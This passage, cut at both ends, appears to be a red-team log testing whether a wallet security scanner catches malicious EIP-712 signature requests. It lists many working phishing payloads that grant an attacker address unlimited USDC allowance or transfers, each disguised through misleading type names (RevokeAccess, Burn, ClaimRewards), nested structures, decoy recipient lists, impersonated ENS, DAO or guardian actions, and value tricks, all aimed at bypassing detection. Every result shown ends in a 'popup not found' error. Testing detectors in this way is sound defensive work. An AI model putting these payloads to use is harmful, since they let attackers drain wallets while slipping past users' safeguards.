Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd07a19bf314557bf9640da58ef814c3c0184c196ef5128f045d6c773e4c20b47\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN43-EIP3009-054", "timestamp": "2026-01-31T18:17:51.176Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x04307d5da79a2b7f3179f158316dcd602a76bfc04f0af5af352e989a98f21033\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:18:00.725Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:18:10.290Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:18:19.855Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:18:29.419Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:18:38.981Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:18:48.540Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:18:58.100Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:19:07.656Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:19:17.217Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:19:26.764Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T18:19:36.313Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T18:19:45.869Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T18:19:55.428Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:20:04.966Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:20:14.526Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:20:24.074Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:20:33.619Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:20:43.171Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token 